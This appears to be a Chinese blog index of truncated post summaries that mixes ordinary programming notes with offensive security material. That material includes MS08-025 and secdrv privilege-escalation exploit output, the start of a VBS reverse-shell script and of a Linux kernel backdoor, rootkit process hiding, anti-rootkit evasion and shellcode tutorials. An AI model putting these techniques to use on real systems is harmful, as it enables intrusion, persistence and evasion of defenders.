改了個(gè)linux下的c代碼為windows版本
摘要:
Windows的C++沒(méi)有pthread_t類(lèi)型,linux中有個(gè)pthread.h,很多站的VC代碼,都不知道從哪包含來(lái)的,shit
網(wǎng)上看到有一個(gè)叫 POSIX Threads for Win32 的開(kāi)源項(xiàng)目給出了一個(gè)功能比較完善的Windows下pthreads API的實(shí)現(xiàn)。
閱讀全文
將Win32 C/C++應(yīng)用程序遷移到Linux-進(jìn)程、線(xiàn)程和共享內(nèi)存(ZT)
摘要:
本文的內(nèi)容是 Win32 API(特別是進(jìn)程、線(xiàn)程和共享內(nèi)存服務(wù))到 POWER 上 Linux 的映射。本文可以幫助您確定哪種映射服務(wù)最適合您的需要。作者向您詳細(xì)介紹了他在移植 Win32 C/C++ 應(yīng)用程序時(shí)遇到的 API 映射。
閱讀全文
MS08-025 for win2k & win2k3
摘要: Win2k CN SP2 ,Win2k3 CN SP1下測(cè)試通過(guò),其它未測(cè)試(不裝XP那種垃圾)
D:\>ms08025 whoami
MS08-025 Windows Local Privilege Escalation Vulnerability Exploit
By 009, baicker@hotmail.com
TEST OS: WINDOWS 2k SP2 & WINDOWS 2k3 CN SP1
Kernel is \WINNT\System32\ntoskrnl.exe
Get KernelBase Success, ntoskrnl.exe base = 80400000
Mapping ntoskrnl.exe ... ok
KeServiceDescriptorTable = 008ED280
Find KiServiceTable ... Get ZwVdmControl Number ... ok!
ZwVdmCo
閱讀全文
用C++修改本地安全策略
摘要: 要寫(xiě)個(gè)修改本地安全策略的工具,本以為修改注冊(cè)表就行了,沒(méi)想到還挺復(fù)雜,改策略,對(duì)應(yīng)的注冊(cè)表項(xiàng)會(huì)變,倒過(guò)來(lái),改對(duì)應(yīng)的注冊(cè)表項(xiàng),策略沒(méi)變,郁悶
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account] |--------------------------------修改次數(shù)
"F"=hex:02,00,01,00,00,00,00,00,e0,7c,9e,21,1a,12,c6,01,43,00,00,00,00,00,00,\ 00 ~ 22
00,00,80,d2,16,47,b9,ff,ff,00,80,2c,ab,6d,fe,ff,ff,00,00,00,00,00,00,00,80,\ 23 ~ 47
00,cc,1d,cf,fb,ff,ff,ff,00,cc,1d,cf,fb,ff,ff,ff,00,00,00,00,00,00,00,00,f1,\ 48 ~ 72
03,00,00,00,00,00,00,02,00,18,00,00,
閱讀全文
新手編譯驅(qū)動(dòng)
摘要: 網(wǎng)上找了N多資料,說(shuō)得我暈頭轉(zhuǎn)向的,都是TMD資深顧問(wèn)級(jí)別的文章,最后簡(jiǎn)單幾步也可以搞定,過(guò)程如下:
我的SDK本來(lái)就是裝好的,再裝個(gè)DDK,就是重裝系統(tǒng),只要DDK目錄還在,重新指定下即可,不用重裝DDK
DDK目錄為: f:\WINDDK\3790.1830
以下以HelloWorld為例
-----------------------------------------HelloWorld.h---------------------------------------------------
#ifndef __HELLOWORLD_H__
#define __HELLOWORLD_H__
#include
.................
閱讀全文
簡(jiǎn)單認(rèn)識(shí)Anti-RootKit(ZT)
摘要: 現(xiàn)在RK(rootkit)和ARK(anti- rootkit)的斗爭(zhēng)已經(jīng)進(jìn)行了很久,在印象中最早出來(lái)的ARK工具是冰刃(IceSword),從冰刃開(kāi)始出來(lái)到現(xiàn)在RK和ARK的斗爭(zhēng)一直在繼續(xù),目前冰刃還是在流行當(dāng)中,自己感覺(jué)也正是冰刃的出來(lái)才帶動(dòng)了當(dāng)前流行的RK和ARK的斗爭(zhēng)呵呵,現(xiàn)在很多病毒木馬已經(jīng)廣泛的帶有驅(qū)動(dòng),使用一些RK的技術(shù)和方法使自己更底層些更強(qiáng)大些,當(dāng)前流行的ARK工具主要包括:隱藏進(jìn)程檢測(cè),內(nèi)核驅(qū)動(dòng)檢測(cè),SSDT檢測(cè),代碼HOOK檢測(cè),注冊(cè)表隱藏的檢測(cè),隱藏文件的檢測(cè)等一些功能的,下面談?wù)勛约簩?duì)一些功能的簡(jiǎn)單愚見(jiàn) 嘻嘻。
..........
閱讀全文
無(wú)恥的驅(qū)動(dòng)加載法(ZT)
摘要: 方法一: 替換win32k.sys
在2k3的系統(tǒng)下ZwSetSystemInformation禁止了用戶(hù)模式下加載驅(qū)動(dòng),只允許SMSS.exe加載win32k.sys。于是我們可以利用一下這個(gè)特點(diǎn):
1. 注入SMSS.EXE
2. 打開(kāi)SeLoadDriverPrivilege權(quán)限
3. 把原始的win32k.sys改名
4. 復(fù)制我們的驅(qū)動(dòng)到\systemroot\system32下
5. 在SMSS.EXE中加載\\SystemRoot\\System32\\win32k.sys
6. 把\\SystemRoot\\System32\\win32k.sys改名
7. 把原始的win32k.sys文件改名改回去
..............
閱讀全文
實(shí)例解析蠕蟲(chóng)病毒的原理(ZT)
摘要: 一、蠕蟲(chóng)病毒具有自我復(fù)制能力
我們以普通的VB腳本為例來(lái)看看:
JavaScript代碼
1. Set objFs=CreateObject ("Scripting.FileSystemObject")
2. '創(chuàng)建一個(gè)文件系統(tǒng)對(duì)象
3. objFs.CreateTextFile ("C:\virus.txt", 1)
4. '通過(guò)文件系統(tǒng)對(duì)象的方法創(chuàng)建了一個(gè)TXT文件。
.....................
閱讀全文
軟件漏洞分析入門(mén)[初級(jí)shellcode_定位緩沖區(qū)](ZT)
摘要: 跟貼中看到已經(jīng)有不少朋友成功的完成了前面的所有例題,今天我們?cè)谇懊娴幕A(chǔ)上,繼續(xù)深入。每一講我都會(huì)引入一些新的知識(shí)和技術(shù),但只有一點(diǎn)點(diǎn),因?yàn)槲蚁M谀x完貼之后就能立刻消化吸收,這是標(biāo)準(zhǔn)的循序漸進(jìn)的案例式學(xué)習(xí)方法
另外在今天開(kāi)始之前,我順便說(shuō)一下后面的教學(xué)計(jì)劃:
我會(huì)再用3~4次的講座來(lái)闡述shellcode技術(shù),確保大家能夠在比較簡(jiǎn)單的漏洞場(chǎng)景下實(shí)現(xiàn)通用、穩(wěn)定的溢出利用程序(exploit)
..........
閱讀全文
軟件漏洞分析入門(mén)[初級(jí)棧溢出D_植入任意代碼](ZT)
摘要: 麻雀雖小,五臟俱全
如果您順利的學(xué)完了前面4講的內(nèi)容,并成功的完成了第2講和第4講中的實(shí)驗(yàn),那么今天請(qǐng)跟我來(lái)一起挑戰(zhàn)一下劫持有漏洞的進(jìn)程,并向其植入惡意代碼的實(shí)驗(yàn),相信您成功完成這個(gè)實(shí)驗(yàn)后,學(xué)習(xí)的興趣和自信心都會(huì)暴增。
開(kāi)始之前,先簡(jiǎn)要的回答一下前幾講跟貼中提出的問(wèn)題
代碼編譯少頭文件問(wèn)題:可能是個(gè)人習(xí)慣問(wèn)題,哪怕幾行長(zhǎng)的程序我也會(huì)丟到project里去build,而不是用cl,所以沒(méi)有注意細(xì)節(jié)。如果你們嫌麻煩,不如和我一樣用project來(lái)build,應(yīng)該沒(méi)有問(wèn)題的。否則的話(huà),實(shí)驗(yàn)用的程序?qū)嵲谔?jiǎn)單了,這么一點(diǎn)小問(wèn)題自己決絕吧。另外,看到幾個(gè)同學(xué)說(shuō)為了實(shí)驗(yàn),專(zhuān)門(mén)恢復(fù)了古老的VC6.0,我也感動(dòng)不已啊,呵呵。
...............
閱讀全文
軟件漏洞分析入門(mén)[初級(jí)棧溢出C_修改程序流程](ZT)
摘要: 上節(jié)課沒(méi)有操練滴東西,不少蠢蠢欲動(dòng)的同學(xué)肯定已經(jīng)坐不住了。悟空,不要猴急,下面的兩堂課都是實(shí)踐課,用來(lái)在實(shí)踐中深入體會(huì)上節(jié)課中的知識(shí),并且很有趣味性哦
信息安全技術(shù)是一個(gè)對(duì)技術(shù)性要求極高的領(lǐng)域,除了扎實(shí)的計(jì)算機(jī)理論基礎(chǔ)外、更重要的是優(yōu)秀的動(dòng)手實(shí)踐能力。在我看來(lái),不懂二進(jìn)制就無(wú)從談起安全技術(shù)。
緩沖區(qū)溢出的概念我若干年前已經(jīng)了然于胸,不就是淹個(gè)返回地址把CPU指到緩沖區(qū)的shellcode去么。然而當(dāng)我開(kāi)始動(dòng)手實(shí)踐的時(shí)候,才發(fā)現(xiàn)實(shí)際中的情況遠(yuǎn)遠(yuǎn)比原理復(fù)雜。
................
閱讀全文
軟件漏洞分析入門(mén)[初級(jí)棧溢出B_系統(tǒng)棧原理](ZT)
摘要: 掃盲班第三講開(kāi)課啦!
上節(jié)課我們用越過(guò)數(shù)組邊界的一個(gè)字節(jié)把鄰接的標(biāo)志變量修改成0,從而突破了密碼驗(yàn)證程序。您實(shí)驗(yàn)成功了嗎?沒(méi)有的話(huà)回去做完實(shí)驗(yàn)在來(lái)聽(tīng)今天的課!
有幾個(gè)同學(xué)反映編譯器的問(wèn)題,我還是建議用VC6.0,因?yàn)樗黚uild出來(lái)的PE最適合初學(xué)者領(lǐng)會(huì)概念。而且這門(mén)課動(dòng)手很重要,基本上我的實(shí)驗(yàn)指導(dǎo)都是按VC6.0來(lái)寫(xiě)的,用別的build出來(lái)要是有點(diǎn)出入,實(shí)驗(yàn)不成功的話(huà)會(huì)損失學(xué)習(xí)積極性滴——實(shí)驗(yàn)獲得的成就感是學(xué)習(xí)最好的動(dòng)力。
............
閱讀全文
軟件漏洞分析入門(mén)[初級(jí)棧溢出A_初識(shí)數(shù)組越界](ZT)
摘要: 本想來(lái)點(diǎn)大道理申明下研究思路啥的,看到大家的熱情期待,稍微調(diào)整一下講課的順序。從今天開(kāi)始,將用3~4次給大家做一下棧溢出的掃盲。
棧溢出的文章網(wǎng)上還是有不少的(其實(shí)優(yōu)秀的也就兩三篇),原理也不難,讀過(guò)基本上就能夠明白是怎么回事。本次講解將主要集中在動(dòng)手調(diào)試方面,更加著重實(shí)踐。
經(jīng)過(guò)這3~4次的棧溢出掃盲,我們的目標(biāo)是:
領(lǐng)會(huì)棧溢出攻擊的基本原理
能夠動(dòng)手調(diào)試簡(jiǎn)易的棧溢出漏洞程序,并能夠利用漏洞執(zhí)行任意代碼(最簡(jiǎn)易的shellcode)
.............
閱讀全文
軟件漏洞分析入門(mén)[引子](ZT)
摘要: 您是否夢(mèng)想過(guò)能夠像電影上演的那樣黑進(jìn)任意一臺(tái)機(jī)器遠(yuǎn)程操控?您的夢(mèng)想是否曾經(jīng)被書(shū)店里邊滿(mǎn)架子的反黑,防毒,擒木馬的掃盲書(shū)強(qiáng)暴的體無(wú)完膚?
從今天開(kāi)始,準(zhǔn)備陸續(xù)發(fā)一系列關(guān)于軟件漏洞方面基礎(chǔ)知識(shí)的帖子,包括軟件漏洞的研究?jī)r(jià)值,研究方法,堆棧利用的基礎(chǔ)知識(shí),shellcode的調(diào)試方法,漏洞調(diào)試方法,漏洞分析,漏洞挖掘,軟件安全性測(cè)試等等,此外還將介紹一些metasploit架構(gòu)和fuzz測(cè)試方面的入門(mén)知識(shí)。
軟件漏洞分析,利用,發(fā)掘是當(dāng)今安全技術(shù)界中流砥柱級(jí)別話(huà)題,如果您關(guān)注過(guò)black hat或者defcon之類(lèi)的頂級(jí)安全技術(shù)峰會(huì)的話(huà),就知道我不是在吹牛了。可惜的是這方面的中文資料很少,偶爾有一篇比較優(yōu)秀的文章但又不夠系統(tǒng),目前為止也沒(méi)有形成像破解技術(shù)這樣的討論風(fēng)氣,菜鳥(niǎo)們?cè)诤跓粝够鸬囊雇硐拐垓v,沒(méi)有交流和指導(dǎo),興趣就像被拔了氣彌兒芯的車(chē)胎,很快就泄氣了。
雖然漏洞分析與利用與破解在技術(shù)上各有側(cè)重點(diǎn),但逆向基礎(chǔ)是共同的。以我個(gè)人的經(jīng)驗(yàn),能做crack的朋友只要稍加進(jìn)修就能入門(mén)。就算沒(méi)有任何匯編基礎(chǔ)和逆向經(jīng)驗(yàn)的朋友也不用擔(dān)心,因?yàn)檫@
閱讀全文
對(duì) Hook 內(nèi)核ntoskrnl'sZwQuerySystemInformation隱藏任務(wù)管理器進(jìn)程名 的一點(diǎn)完善(ZT)
摘要: 通過(guò)hook ssdt中的ZwQuerySystemInformation來(lái)實(shí)現(xiàn)隱藏進(jìn)程已經(jīng)是很老的技術(shù)了。
qiweixue 在他的文章里面寫(xiě)的很清楚了:
http://bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B
不過(guò)他的文章里面,進(jìn)程名字是直接寫(xiě)死的,不能通過(guò)三層進(jìn)行傳遞,而且得到ZwQuerySystemInformation是通過(guò)匯編的方法,這樣在其他系統(tǒng)上可能會(huì)有問(wèn)題,所以我做了一些改善如下:
1 通過(guò)應(yīng)用程序?qū)⑦M(jìn)程名字傳遞進(jìn)來(lái),可以傳遞多個(gè)進(jìn)程名字,格式為:qq.exe;taskmgr.exe;
2 通用的方法來(lái)得到ZwQuerySystemInformation的地址,不過(guò)這個(gè)方法都是從rookit上得來(lái)的。
...........
閱讀全文
讓EXE導(dǎo)出函數(shù)(ZT)
摘要: 偶然發(fā)現(xiàn)OllyDBG.exe導(dǎo)出了一堆函數(shù),這些函數(shù)都是供其插件調(diào)用的。對(duì)這種體系結(jié)構(gòu)很感
興趣,想弄清楚它的實(shí)現(xiàn)原理。后來(lái)又看到梁肇新的書(shū)《編程高手箴言》第278頁(yè)提到的調(diào)用
門(mén),覺(jué)得都應(yīng)該差不多。
三種不同的解決辦法(原理可能是一樣的,:)):
1)在導(dǎo)出函數(shù)聲明之前加上__declspec(dllexport)。例:
__declspec(dllexport) int Add(int a, int b);
__declspec(dllexport) int Sub(int a, int b);
__declspec(dllexport) int Mul(int a, int b);
__declspec(dllexport) int Div(int a, int b);
..........
閱讀全文
icesword 驅(qū)動(dòng)部分分析(ZT)
摘要: icesword.exe 在執(zhí)行的時(shí)候會(huì)放出一個(gè)驅(qū)動(dòng)程序 ispubdrv.sys .
icesword.exe 裝載 這個(gè)驅(qū)動(dòng),這個(gè)驅(qū)動(dòng)安裝后就不會(huì)卸載。直到系統(tǒng)重新啟動(dòng)。這可能是因?yàn)轵?qū)動(dòng)中調(diào)用了
PsSetCreateThreadNotifyRoutine 函數(shù).下面是這個(gè)函數(shù)在 ddk 中的介紹。
........
閱讀全文
利用偽造內(nèi)核文件來(lái)繞過(guò)IceSword的檢測(cè)(ZT)
摘要: 一、為什么需要偽造內(nèi)核:
IceSword(以下簡(jiǎn)稱(chēng)IS)為了防止一些關(guān)鍵系統(tǒng)函數(shù)(包括所有服務(wù)中斷表中的函數(shù)以及IS驅(qū)動(dòng)部分要使用到的一些關(guān)鍵函數(shù))被 patch,它直接讀取內(nèi)核文件(以下簡(jiǎn)稱(chēng)“ntoskrnl.exe”),然后自己分析ntoskrnl.exe 的PE結(jié)構(gòu)來(lái)獲取關(guān)鍵系統(tǒng)函數(shù)的原始代碼并且把當(dāng)前內(nèi)核中所有的關(guān)鍵系統(tǒng)函數(shù)還原為windows默認(rèn)狀態(tài),這樣保證了IS使用到的函數(shù)不被patch 過(guò)。也許你會(huì)想如果我們把還原后的函數(shù)再進(jìn)行patch不還是能躲的過(guò)去嗎?筆者也試過(guò)
.....................
閱讀全文
WIN下獲取kernel基址的shellcode探討(ZT)
摘要: [經(jīng)典溢出攻擊流程]
———————————
1. 查找Kernel32.dll基地址;
2. 查找GetProcAddress()函數(shù)地址;
3. 查找其它API函數(shù)地址;
4. CreateProcess();
5. 遠(yuǎn)程連接。
我們都知道WINDOWS的系統(tǒng)功能不像UNIX的系統(tǒng)調(diào)用那樣實(shí)現(xiàn),由于WINDOWS版本的不斷更新,使得系統(tǒng)調(diào)用對(duì)SHELLCODE幾乎起不到作用。
但是WINDOWS是靠DLL動(dòng)態(tài)鏈接庫(kù)來(lái)實(shí)現(xiàn),這就是說(shuō),如果能從KERNEL32.DLL中獲取LoadLibrary()和GetProcAddress()函數(shù)的地址,我們就可以調(diào)用WINDOWS下的所有函數(shù)了。
所以我們需要對(duì)KERNEL32.DLL進(jìn)行地址定位,這也是本文的目的。
................
閱讀全文
SEH源碼賞析之C篇(ZT)
摘要:
1.起因
C++程序員對(duì)try,catch,throw都應(yīng)該很熟悉,能知道VC怎么實(shí)現(xiàn)它的人就不多了,不過(guò)網(wǎng)絡(luò)世界使很多人知道了它與SEH (structured exception handling)有密切關(guān)系,我也不例外,也是在若干年前從網(wǎng)絡(luò)知道了SEH,并且大致也知道SEH的流程.但是和多數(shù)人一樣在我的實(shí)踐也很少直接使用 SEH,對(duì)SEH也就僅限于網(wǎng)絡(luò)上一些文章的介紹.曾經(jīng)在用Windbg對(duì)某些軟件作分析,我遇到了斷點(diǎn)失效的情況,查找資料介紹是SEH中的 Handler清除了調(diào)試寄存器,在分析.....................
閱讀全文
饒過(guò)現(xiàn)代Anti-Rookit工具的內(nèi)核模塊掃描(ZT)
摘要: 本文描述了一些方法,可以饒過(guò)目前主流的現(xiàn)代Anti-rootkit工具,包括但不限于:
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti-rootkit最新版
等等
................
閱讀全文
TCP版backshell的VBS腳本
摘要: '搞一個(gè)特殊的站準(zhǔn)備用的,沒(méi)想到,等寫(xiě)完了,洞補(bǔ)上了,郁悶
'by 009, baicker@hotmail.com
'date:071221
Dim revdata
set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )
set sc=createobject( "WScript.Shell" )
Set fso =CreateObject( "Scripting.FileSystemObject" )
sock.connect "127.0.0.1" , 1234
................
閱讀全文
在同一個(gè)進(jìn)程空間運(yùn)行兩個(gè)程序(ZT)
摘要:
眾所周知,bo2k可以在一個(gè)指定的進(jìn)程空間(比如explorer.exe進(jìn)程)做為一個(gè)線(xiàn)程運(yùn)行。本文試圖找出一種方法,使得任意exe都可以在其他進(jìn)程中以線(xiàn)程運(yùn)行(當(dāng)然,這里說(shuō)的"任意"是有條件的,下面會(huì)講到)。
為行文簡(jiǎn)單起見(jiàn),我把先加載的exe稱(chēng)為宿主,后加載的exe稱(chēng)為客戶(hù)。對(duì)于上面的例子,explorer.exe為宿主,bo2k.exe為客戶(hù)。
基本知識(shí)
每一個(gè)exe都有一個(gè)缺省加載基址,一般都是0x400000。如果實(shí)際加載基址和缺省基址相同,程序中的重定位表就不需要修正(fixup),否則,就必須修正重定位表;
閱讀全文
Windows Local Privilege Escalation Vulnerability Exploit(secdrv) for winxp & win2k3
摘要: secdrv local exp
winxp cn sp2, win2k3 cn sp1 測(cè)試通過(guò)
之前的版本只能xp下用,這個(gè)2k3也可以了,其實(shí)前段時(shí)間朋友給過(guò)我一個(gè)這個(gè)漏洞的1day,但是朋友的東西不能亂發(fā),這個(gè)是自己寫(xiě)的,發(fā)出來(lái)大家惡心一下。
閱讀全文
VC編譯優(yōu)化設(shè)置
摘要: VC- Project Setting-Debug-Project Option語(yǔ)法解釋
-優(yōu)化-
/O1 最小化空間 minimize space
/Op[-] 改善浮點(diǎn)數(shù)一致性 improve floating-pt consistency
/O2 最大化速度 maximize speed
/Os 優(yōu)選代碼空間 favor code space
/Oa 假設(shè)沒(méi)有別名 assume no aliasing
/Ot 優(yōu)選代碼速度 favor code speed
/Ob 內(nèi)聯(lián)展開(kāi)(默認(rèn) n=0) inline expansion (default n=0)
/Ow 假設(shè)交叉函數(shù)別名 assume cross-function aliasing
/Od 禁用優(yōu)化(默認(rèn)值) disable optimizations (default)
/Ox 最大化選項(xiàng)。(/Ogityb2 /Gs) maximum opts. (/Ogityb1 /Gs)
/Og 啟用全局優(yōu)化
閱讀全文
程序多開(kāi)器
摘要: 使用OD反匯編修改NateOn,雖然很麻煩,最終還是搞定了,后來(lái)發(fā)現(xiàn)網(wǎng)上有段代碼,直接可以實(shí)現(xiàn)程序多開(kāi),測(cè)試了MSN、NateOn沒(méi)問(wèn)題,代碼如下:
.386
.model flat, stdcall
option casemap :none
include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
............
閱讀全文
一個(gè)簡(jiǎn)單的Linux內(nèi)核后門(mén)原型(ZT)
摘要: 這是一個(gè)在內(nèi)核模塊中實(shí)現(xiàn)的反連后門(mén),大家看看這于應(yīng)用層上的實(shí)現(xiàn)有什么不同吧,呵呵
/*
* Kernel mode connect backdoor,haha~
*
* just a demo module to teach you how to write a backdoor in kernel mode,
* i belive you can add more code to make it strong and powerful,wulala.
*
* by wzt <wzt#xsec.org>
*
*/
閱讀全文
VBS解決終端窗口中特殊快捷鍵問(wèn)題
摘要: 寫(xiě)程序麻煩,還要傳上去,幸好VBS每臺(tái)服務(wù)器應(yīng)該都可以運(yùn)行的吧,很少會(huì)又禁止的
使用SendKeys搞定
例如呼出Cain使用果如下腳本:)
Set WshShell= Wscript.CreateObject("Wscript.Shell")
Wscript.Sleep 1500
WshShell.SendKeys "%{PGUP}"
以下位SendKeys的相關(guān)使用方法等
............
閱讀全文
一些opcodes(ZT)
摘要:
一些opcodes
by axis
2007-03-28
近日在寫(xiě)exploit的時(shí)候需要用到一些其他語(yǔ)言的call ebx的跳轉(zhuǎn)地址,但是metasploit的opcode DB沒(méi)有包括繁體中文、日文、韓文機(jī)器的跳轉(zhuǎn)地址,所以費(fèi)了點(diǎn)時(shí)間收集了下,在這里要感謝傲少提供的機(jī)器給我去找地址。現(xiàn)在貼到這里,方便大家。
簡(jiǎn)體中文windows的通用跳轉(zhuǎn)地址:(2k/XP/2k3)
0x7ffa45f3 jmp ecx \xff\xe1
0x7ffa4967 jmp ebp \xff\xe5
0x7ffa4a1b jmp ebx \xff\xe3
..................
閱讀全文
TCP 相關(guān)參數(shù)解釋
摘要: cp_syn_retries :INTEGER
默認(rèn)值是5
對(duì)于一個(gè)新建連接,內(nèi)核要發(fā)送多少個(gè) SYN 連接請(qǐng)求才決定放棄。不應(yīng)該大于255,默認(rèn)值是5,對(duì)應(yīng)于180秒左右時(shí)間。(對(duì)于大負(fù)載而物理通信良好的網(wǎng)絡(luò)而言,這個(gè)值偏高,可修改為2.這個(gè)值僅僅是針對(duì)對(duì)外的連接,對(duì)進(jìn)來(lái)的連接,是由tcp_retries1 決定的)
tcp_synack_retries :INTEGER
默認(rèn)值是5
對(duì)于遠(yuǎn)端的連接請(qǐng)求SYN,內(nèi)核會(huì)發(fā)送SYN + ACK數(shù)據(jù)報(bào),以確認(rèn)收到上一個(gè) SYN連接請(qǐng)求包。這是所謂的三次握手( threeway handshake)機(jī)制的第二個(gè)步驟。這里決定內(nèi)核在放棄連接之前所送出的 SYN+ACK 數(shù)目。不應(yīng)該大于255,默認(rèn)值是5,對(duì)應(yīng)于180秒左右時(shí)間。(可以根據(jù)上面的 tcp_syn_retries 來(lái)決定這個(gè)值)
tcp_keepalive_time :INTEGER
默認(rèn)值是7200(2小時(shí))
當(dāng)keepalive打開(kāi)的情況下,TCP發(fā)送keepalive消息的頻率。(由于目前網(wǎng)絡(luò)
閱讀全文
如何調(diào)試程序的 Release 版本
摘要: 很多時(shí)候程序的 Debug 版本運(yùn)行沒(méi)有任何問(wèn)題,但是一旦發(fā)布 Release 版本后,運(yùn)行就出錯(cuò),著實(shí)讓人郁悶。大家知道,VC++ 中 Release 版本是對(duì)無(wú)法對(duì)源代碼進(jìn)行調(diào)試的。一般的做法是在懷疑有錯(cuò)誤的代碼前后插入MessageBox 函數(shù),在函數(shù)中顯示可能導(dǎo)致錯(cuò)誤的變量的值。或者插入寫(xiě)文件的語(yǔ)句,輸出可能導(dǎo)致錯(cuò)誤的變量的值到一個(gè)記錄文件。其實(shí),除了上面講的這個(gè)辦法之外,還有其它的途徑來(lái)調(diào)試 Release 版本的。下面就結(jié)合自己的經(jīng)驗(yàn)和網(wǎng)上查找的一些資料給出調(diào)試 Release 版本的兩個(gè)方法:
......
閱讀全文
HOOK專(zhuān)題(ZT)
摘要: 基本概念
鉤子(Hook),是Windows消息處理機(jī)制的一個(gè)平臺(tái),應(yīng)用程序可以在上面設(shè)置子程以監(jiān)視指定窗口的某種消息,而且所監(jiān)視的窗口可以是其他進(jìn)程所創(chuàng)建的。當(dāng)消息到達(dá)后,在目標(biāo)窗口處理函數(shù)之前處理它。鉤子機(jī)制允許應(yīng)用程序截獲處理window消息或特定事件。
鉤子實(shí)際上是一個(gè)處理消息的程序段,通過(guò)系統(tǒng)調(diào)用,把它掛入系統(tǒng)。每當(dāng)特定的消息發(fā)出,在沒(méi)有到達(dá)目的窗口前,鉤子程序就先捕獲該消息,亦即鉤子函數(shù)先得到控制權(quán)。這時(shí)鉤子函數(shù)即可以加工處理(改變)該消息,也可以不作處理而繼續(xù)傳遞該消息,還可以強(qiáng)制結(jié)束消息的傳遞。
運(yùn)行機(jī)制
1、鉤子鏈表和鉤子子程:
.......
閱讀全文
翻動(dòng)100萬(wàn)級(jí)的數(shù)據(jù)(自定義的MSSQL分頁(yè)查詢(xún)過(guò)程)
摘要: 系統(tǒng)資源的占用情況
內(nèi)存 —— 很理想。SQL占用的內(nèi)存最大也沒(méi)有超過(guò)65M,一般是在35M左右;asp.net占用的內(nèi)存最大也沒(méi)有超過(guò)40M,一般是在25M左右。
CPU:8%左右,由于訪問(wèn)次數(shù)不多,也不夠集中,所以這個(gè)數(shù)值也說(shuō)明不了什么。自己連續(xù)點(diǎn)了n次下一頁(yè),發(fā)現(xiàn)CPU的使用率飄高,達(dá)到了50%左右。
但是對(duì)于100萬(wàn)的記錄,AMD XP2000+ 的CPU 幾十毫秒的放映速度,因該是可以接受的,甚至是很理想的吧。
畢竟服務(wù)器的CPU要比我的快很多吧,而且記錄也很難達(dá)到100萬(wàn)吧。
結(jié)果還是很滿(mǎn)意的,但是美中不足的是,我想看一下海量訪問(wèn)的情況下的效果,
另外說(shuō)明一下:前n頁(yè)可以在60毫秒內(nèi)完成,n應(yīng)該是大于500的,小于多少嘛還沒(méi)有測(cè)試。后n頁(yè)就比較慢了,需要500毫秒左右。
下面討論一下翻頁(yè)的技巧吧。
我沒(méi)有用游標(biāo)、臨時(shí)表、not in、in 這些方法,并不是說(shuō)他們的效率不高,而是我還沒(méi)有測(cè)試過(guò)。我只用了 top ,查了兩次表。
大家也可提供一些其他的方法,我來(lái)測(cè)試一下,看看在100萬(wàn)條的情況下的效果。
<
閱讀全文
繞過(guò)堆棧保護(hù) 編寫(xiě)shellcode(FY)
摘要: 概述
在本例中,我們來(lái)實(shí)際編寫(xiě)一個(gè)可以在使用堆棧保護(hù)的系統(tǒng)中執(zhí)行的shellcode。該shellcode通過(guò)利用ntdll.dll的部分指令跳轉(zhuǎn)到我們的代碼執(zhí)行。在大多數(shù)的dll中都可以實(shí)現(xiàn)此方法,而且可以完全饒過(guò)堆棧保護(hù)機(jī)制,因?yàn)橥ㄟ^(guò)此方法并沒(méi)有任何代碼在堆棧非執(zhí)行區(qū)域中執(zhí)行。
詳述
我們也許都聽(tīng)說(shuō)過(guò)堆棧保護(hù)這么一個(gè)詞。很多安全程序提供了對(duì)堆棧中的代碼執(zhí)行的保護(hù)功能(譯者注:原文這里用的是“protect”,其實(shí)我個(gè)人認(rèn)為用 “disallow”或者“disable”更確切的。因?yàn)檫@類(lèi)所謂的堆棧保護(hù),其實(shí)就是禁止代碼在堆棧中執(zhí)行。)。一些新的硬件產(chǎn)品也具有禁止代碼在 “非執(zhí)行”內(nèi)存區(qū)域中執(zhí)行(比如AMD64)。然而編寫(xiě)一個(gè)饒過(guò)此機(jī)制的shellcode并不是件難事,下面我給大家簡(jiǎn)單的介紹一下。
方法就是使用dll的部分代碼來(lái)達(dá)到我們的目的。如何做到呢?首先在堆棧發(fā)生溢出的時(shí)候我們將返回地址設(shè)置成ntdll.dll中的某個(gè)指令地址,我們要利用的ntdll的部分代碼如下:
.............
閱讀全文
教你如何分析未文檔化的數(shù)據(jù)結(jié)構(gòu)(ZT)
摘要: Editor:admin Time:2005-8-20 23:22 Read:9985 Score:8 Print
Writer:HSLY
Excerpt:80x86匯編小站
Preface:
分享逆向技術(shù)心德......
Content:
[標(biāo)題] 教你如何分析未文檔化的數(shù)據(jù)結(jié)構(gòu)
[作者] hsly110 或者 豬頭三
[個(gè)人網(wǎng)站] http://www.x86asm.com 80x86匯編小站
[Email] pliceman_110@163.com PS:本文如果有錯(cuò)漏請(qǐng)來(lái)信指出
[范圍] 逆向工程
[目的] 分享逆向技術(shù)心德
[目標(biāo)API] 未文檔化的RtlInitializeGenericTable
[參考文獻(xiàn)] Secrets of Reverse Engineering
..........
閱讀全文
圖片類(lèi)型互轉(zhuǎn)(png,bmp,jpg,gif)
摘要:
#include <windows.h>
#include <gdiplus.h>
#include <stdio.h>
#pragma comment(lib,"gdiplus.lib")
using namespace Gdiplus;
INT GetEncoderClsid(const WCHAR* format, CLSID* pClsid); // helper function
...........
閱讀全文
通過(guò)活動(dòng)鏈表或HOOK API隱藏進(jìn)程
摘要: 進(jìn)程隱藏的兩種方法
這兩種都是很古老的方法,因?yàn)闊o(wú)聊,所以寫(xiě)了一下。代碼在XP_SP2下調(diào)試通過(guò).
(1).從活動(dòng)進(jìn)程鏈表(ActiveProcessLinks)中摘除自身,這種方法可以欺騙任務(wù)管理器,
下面這個(gè)程序做的就是雙向鏈表的刪除節(jié)點(diǎn)和插入節(jié)點(diǎn),十分的簡(jiǎn)單。
(2).如果你反匯編taskmgr.exe,可以在發(fā)現(xiàn)taskmgr.exe是通過(guò)NtQuerySystemInformation枚舉進(jìn)程的,
因此可以通過(guò)掛鉤系統(tǒng)服務(wù)NtQuerySystemInformation修改這個(gè)函數(shù)的行為,從而實(shí)現(xiàn)在任務(wù)管理器中隱藏進(jìn)程的目的,下面就是實(shí)現(xiàn)代碼。
...........
閱讀全文
Hook API監(jiān)視驅(qū)動(dòng)的加載
摘要: .386
.model flat, stdcall
option casemap:none
;**************************************************************************************************
include f:\masm32\include\w2k\ntstatus.inc
include f:\masm32\include\w2k\ntddk.inc
include f:\masm32\include\w2k\ntoskrnl.inc
